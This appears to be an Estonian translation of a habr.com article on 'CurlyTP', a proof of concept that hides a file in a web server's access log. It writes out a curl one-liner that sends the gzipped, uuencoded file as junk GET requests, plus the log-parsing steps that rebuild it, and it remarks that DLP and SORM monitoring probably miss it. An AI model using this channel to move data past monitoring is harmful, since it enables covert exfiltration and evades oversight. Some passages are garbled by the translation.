Vastavalt Vikipeedia mÀÀratlusele on peidetud punkt (dead drop) konspiratsioonivahend, mida kasutatakse teabe vĂ”i esemete vahetamiseks isikute vahel, kes kasutavad salajast asukohta. Idee on selles, et inimesed ei kohtu kunagi â kuid jagavad ometi teavet, sĂ€ilitades operatiivturvalisuse.
Peidetud punkt ei tohi tÔmmata tÀhelepanu. SeetÔttu kasutatakse offline maailmas tihti tavalisi esemeid: vabatahtlikku tellist seina sees, raamatukogu raamatut vÔi puuharu.
Internedis on palju ĆĄifreerimise ja anonĂŒĂŒmsuse tööriistu, kuid nende tööriistade kasutamine tĂ”mbab tĂ€helepanu. Lisaks vĂ”ivad need olla blokeeritud ettevĂ”tte vĂ”i riigi tasandil. Mis siis teha?
Arendaja Ryan Flowers pakkus vĂ€lja huvitava variandi â . Kui mĂ”elda, mida teeb veebiserver? See vĂ”tab vastu pĂ€ringud, vĂ€ljastab faile ja salvestab logisid. Ja see salvestab logis kĂ”iki pĂ€ringuid, ka mittesobivaid!
Seega, iga veebiserver vÔimaldab logisse salvestada praktiliselt suvalist sÔnumit. Flowers mÔtles, kuidas seda kasutada.
Ta soovitab jÀrgmist varianti:
- VÔtame tekstifaili (salajane sÔnum) ja arvutame selle rashi (md5sum).
- Koodime selle (gzip + uuencode).
- Salvestame logisse, tehes teadlikult mittesobiva pÀringu serverisse.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | shFaili lugemiseks on vajalik teha need toimingud vastupidises jÀrjekorras: deƥifreerida ja dekomprimeerida fail, kontrollida rashi (rashi saab turvaliselt edastada avatud kanalite kaudu).
TĂŒhikud asendatakse =+=, et aadressis ei oleks tĂŒhikuid. Programm, mida autor nimetab CurlyTP, kasutab base64 kodeeringut, nagu e-kirja manustes. PĂ€ring toimub vĂ”tmesĂ”naga ?transfer?, et saaja leiaks selle logidest kergesti.
Mida me nÀeme logides sellisel juhul?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"Nagu juba öeldud, tuleb salajase sÔnumi saamiseks teha toimingud vastupidises jÀrjekorras:
Kaugarvuti
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 gProtsessi on lihtne automatiseerida. Md5sum sobib ja faili sisu kinnitab, et kÔik deƥifreeriti Ôigesti.
Meetod on vĂ€ga lihtne. "Selle harjutuse mĂ”te on tĂ”estada, et faile saab edastada sĂŒĂŒtevĂ”imetest vĂ€ikeste veebipĂ€ringute kaudu, ja see töötab igasuguse veebiserveriga, kus on tavalised tekstilogid. Sisuliselt on iga veebiserver peidetud punkt!", kirjutab Flowers.
Loomulikult töötab meetod ainult siis, kui saajal on juurdepÀÀs serveri logidele. Aga sellist juurdepÀÀsu pakuvad nÀiteks paljud hostiteenused.
Kuidas seda kasutada?
Ryan Flowers ĂŒtleb, et ta ei ole infotehnoloogia spetsialist ja ei hakka CurlyTP kasutusvĂ”imalusi loetlema. Tema jaoks on see lihtsalt tĂ”estus kontseptsioonist, et tuttavaid tööriistu, mida me iga pĂ€ev nĂ€eme, saab kasutada ebatavalisel viisil.
Tegelikult on sellisel meetodil mitmeid eeliseid vĂ”rreldes teiste serveripĂ”histe peidetud punktidega, nagu vĂ”i : see ei nĂ”ua serveripoolset erilist seadistamist ega mingeid spetsiaalseid protokolle â ja see ei Ă€rgata kahtlust neis, kes jĂ€lgivad liiklust. KĂŒllap ei skaneeri SORM ega DLP sĂŒsteemid URL-e koompressitud tekstifailide suhtes.
See on ĂŒks meetod sĂ”numite edastamiseks teenusefailide kaudu. VĂ”ib meenutada, et varem paigutatud mĂ”ned edasijĂ”udnud ettevĂ”tted vĂ”i HTML-lehtede koodis.

Idee oli selles, et sellist "munapĂŒĂŒti" nĂ€evad ainult veebiarendajad, sest tavaline inimene ei hakka vaatama pĂ€iseid ega HTML-koodi.
Allikas: habr.com
